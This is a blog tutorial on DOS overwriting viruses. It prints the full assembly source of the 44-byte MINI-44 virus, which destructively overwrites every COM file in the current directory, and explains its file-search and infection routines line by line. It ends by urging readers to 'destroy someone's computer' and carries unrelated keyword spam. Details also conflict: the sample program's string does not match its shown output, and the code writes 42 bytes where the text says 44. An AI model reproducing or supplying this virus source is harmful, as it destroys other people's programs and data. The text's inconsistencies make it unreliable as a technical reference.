Wednesday, August 04, 2010

Overwriting Viruses




I ASSUME THAT THE READER IS FAMILIAR WITH ASSEMBLY LANGUAGE AND GENERAL CONCEPTS OF COMPUTER ARCHITECTURE AND ORGANIZATION WITH HOW A PROGRAM EXECUTES AT HARDWARE LEVEL.



WEB DEVELOPMENT COMPANY | WEB DEVELOPMENT COMPANY IN ORISSA | WEB DEVELOPMENT COMPANY IN ODISHA | WEB DESIGN COMPANY IN ORISSA | WEB DESIGN COMPANY IN ODISHA | WEB DEVELOPMENT COMPANY IN BHUBANESWAR | WEB DEVELOPMENT COMPANY IN KOLKATA | WEB DESIGN COMPANY IN BHUBANESWAR | WEB DESIGN COMPANY IN KOLKATA | WEB DEVELOPMENT COMPANY IN CUTTACK | WEB DESIGN COMPANY IN CUTTACK | SOFTWARE COMPANY IN BHUBANESWAR | SOFTWARE COMPANY IN CUTTACK | SOFTWARE COMPANY IN KOLKATA



In the world of DOS viruses, the simplest and least threatening is the non-resident COM file infector. This type of virus infects only COM program files, which are just straight 80x86 machine code. They contain no data structures for the operating system to interpret (unlike EXE files) just code. The very simplicity of a COM file makes it easy to infect with a virus.
There are three major types of COM infecting viruses.
They are called:
1. Overwriting viruses
2. Companion viruses
3. Parasitic viruses
Let us take an in-depth look at how a COM program works. It is essential to understand what it is you are attacking if you are going to do it properly.
When one enters the name of a program at the DOS prompt, DOS begins looking for files with that name and an extent of “COM”. If it finds one it will load the file into memory and execute it. Otherwise DOS will look for files with the same name and an extent of “EXE” to load and execute. If no EXE file is found, the operating system will finally look for a file with the extent “BAT” to execute. Failing all three of these possibilities, DOS will display the error message “Bad command or file name.”
EXE and COM files are directly executable by the Central Processing Unit.Of these two types of program files, COM files are much simpler. They have a predefined segment format which is built into the structure of DOS, while EXE files are designed to handle a segment format defined by the programmer, typical of very large and complicated programs. The COM file is a direct binary image of what should be put into memory and executed by the CPU, but an EXE file is not.
Let’s take a look at the operation of a simple non-viral COM program which is the assembly language equivalent of hello.c program found in most of the C language books.


.model tiny
.code

ORG 100H

HOST:

mov      ah         ,9                                                                          ;prepare to display a message
mov      dx         ,OFFSET HI                                                           ;address of message
int        21H                                                                                    ;display it with DOS
mov      ax         ,4C00H                                                                  ;prepare to terminate program
int        21H                                                                                    ;and terminate with DOS
HI        DB        ’You have just released a virus! Have a nice day!$’
END HOST


Call it HOST.ASM. It will assemble to HOST.COM.
Now execute it at the DOS prompt like shown below.
Just type at the DOS prompt the name of the file that is HOST and it would show you the “Hello there!” text.


C:\HOST Hello there!

then the PSP would look like this:

2750:0000   CD 20 00 9D 00 9A F0 FE-1D F0 4F 03 85 21 8A 03           . ........O..!..
2750:0010   85 21 17 03 85 21 74 21-01 08 01 00 02 FF FF FF              .!...!t!........
2750:0020   FF FF FF FF FF FF FF FF-FF FF FF FF 32 27 4C 01         ............2’L.
2750:0030   45 26 14 00 18 00 50 27-FF FF FF FF 00 00 00 00             E&....P’........
2750:0040   06 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:0050   CD 21 CB 00 00 00 00 00-00 00 00 00 00 48 45 4C             .!...........HEL
2750:0060   4C 4F 20 20 20 20 20 20-00 00 00 00 00 54 48 45               LO .....THE
2750:0070   52 45 21 20 20 20 20 20-00 00 00 00 00 00 00 00                RE! ........
2750:0080   0E 20 48 65 6C 6C 6F 20-74 68 65 72 65 21 20 0D             . Hello there! .
2750:0090   6F 20 74 68 65 72 65 21-20 0D 61 72 64 0D 00 00              o there! .ard...
2750:00A0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:00B0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:00C0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:00D0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:00E0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................
2750:00F0   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00               ................



Overwriting viruses are simple but mean viruses which have little respect for your programs. Once infected by an overwriting virus, the host program will no longer work properly because at least a portion of it has been replaced by the virus code—it has been overwritten—hence the name.
This disprespect for program code makes programming an overwriting virus an easy task, though. In fact, some of the world’s smallest viruses are overwriting viruses. Let’s take a look at one, MINI-44.ASM.
This virus is a mere 44 bytes when assembled, but it will infect (and destroy) every COM file in your current directory if you run it. This virus operates as follows:

1. An infected program is loaded and executed by DOS.
2. The virus starts execution at offset 100H in the segment given to it by DOS.
3. The virus searches the current directory for files with the wildcard “*.COM”.
4. For each file it finds, the virus opens it and writes its own 44 bytes of code to the start of that file.
5. The virus terminates and returns control to DOS.
As you can see, the end result is that every COM file in the current directory becomes infected, and the infected host program which was loaded executes the virus instead of the host. The basic functions of searching for files and writing to files are widely used in many programs and many viruses, so let’s dig into the MINI-44 a little more deeply to understand its search and infection mechanisms.



;44 byte virus, destructively overwrites all the COM files in the
;current directory.
;

.model small
.code

FNAME EQU 9EH                                                                     ;search-function file name result

ORG 100H

START:
mov      ah,     4EH                                                                     ;search for *.COM (search first)
mov      dx,     OFFSET COM_FILE
int        21H


SEARCH_LP:
jc         DONE
mov      ax,     3D01H                                                                  ;open file we found
mov      dx,     FNAME
int        21H
xchg     ax,     bx                                                                        ;write virus to file
mov      ah,     40H
mov      cl,      42                                                                        ;size of this virus
mov      dx,     100H                                                                    ;location of this virus
int        21H
mov      ah,     3EH
int        21H                                                                                ;close file
mov      ah,     4FH
int        21H                                                                                ;search for next file
jmp      SEARCH_LP

DONE:
ret                                                                                              ;exit to DOS

COM_FILE      DB      ’*.COM’,     0                                              ;string for COM file search

END START



DOS is told what to do using Interrupt Service Routines (ISR’s). Interrupt 21H is the main DOS interrupt service routine that we will use. To call an ISR, one simply sets up the required CPU registers with whatever values the ISR needs to know what to do, and calls the interrupt. For example, the code



mov      dx,     OFFSET FNAME    
xor       al,     al                    ;al=0
mov      ah,    3DH                ;DOS function 3D
int        21H                         ;go do it



opens a file whose name is stored in the memory location FNAME in preparation for reading it into memory. This function tells DOS to locate the file and prepare it for reading. The int 21H instruction transfers control to DOS and lets it do its job. When DOS is finished opening the file, control returns to the statement immediately after
the int 21H. The register ah contains the function number, which DOS uses to determine what you are asking it to do.
The other registers must be set up differently, depending on what ah is, to convey more information to DOS about what it is supposed to do. In the above example, the ds:dx register pair is used to point to the memory location where the name of the file to open is stored. Setting the register al to zero tells DOS to open the file for reading
only.
Suppose we want to find all the files in the currently logged directory with an extent “COM”, including hidden and system files. The assembly language code to do the Search First would look like this (assuming ds is already set up correctly, as it is for a COM file):



SRCH_FIRST:
mov      dx,     OFFSET COMFILE                      ;set offset of asciiz string
mov      ah,     4EH                                            ;search first function
int        21H                                                      ;call DOS
jc         NOFILE                                                ;go handle no file found condition
FOUND:                                                           ;come here if file found
COMFILEDB      ’*.COM’,     0


In comparison with the Search First function, the Search Next is easy, because all of the data has already been set up by the Search First. Just set ah = 4F hex and call DOS interrupt 21H:



mov      ah,      4FH                                     ;search next function
int        21H                                                ;call DOS
jc         NOFILE                                          ;no, go handle no file found
FOUND2:                                                   ;else process the file


If another file is found the data in the DTA will be updated with the new file name, and ah will be set to zero on return. If no more matches are found, DOS will set ah to something besides zero on return. One must be careful here so the data in the DTA is not altered between the call to Search First and later calls to Search Next, because the Search Next expects the data from the last search call to be there.
MINI-44’s replication mechanism is even simpler than its search mechanism. To replicate, it simply opens the host program in write mode—just like an ordinary program would open a data file—and then it writes a copy of itself to that file, and closes it.
To open the host program, MINI-44 uses DOS Interrupt 21H Function 3D Hex. The access rights in the al register are specified as 1 for write-only access (since the virus doesn’t need to inspect the program it is infecting). The ds:dx pair must point to the file name, which has already been set up in the DTA by the search functions at FNAME = 9EH. The code to open the file is thus given by:



mov      ax,       3D01H
mov      dx,       OFFSET FNAME
int        21H



If DOS is successful in opening the file, it will return a file handle in the ax register. This file handle is simply a 16-bit number that uniquely references the file just opened. Since all other DOS file manipulation calls require this file handle to be passed to them in the bx register, MINI-44 puts it there as soon as the file is opened
with a mov bx,ax instruction.
Next, the virus writes a copy of itself into the host program file using Interrupt 21H, Function 40H. To do this, ds:dx must be set up to point to the data to be written to the file, which is the virus itself, located at ds:100H. (ds was already set up properly when the COM program was loaded by DOS.) At this point, the virus which is presently executing is treating itself just like any ordinary data to be written to a file—and there’s no reason it can’t do that. Next, to call function 40H, cx should be set up with the number of bytes to be written to the disk, in this case 44, dx should point to the data to be written (the virus), and bx should contain the file handle:



mov      bx,     ax                                      ;put file handle in bx
mov      dx,     100H                                  ;location to write from
mov      cx,     44                                      ;bytes to write
mov      ah,     40H
int        21H                                              ;do it



Finally, to close the host file, MINI-44 simply uses DOS function 3EH, with the file handle in bx once again.
So, I hope you are now going to destroy someone's computer, but don’t do it with yours.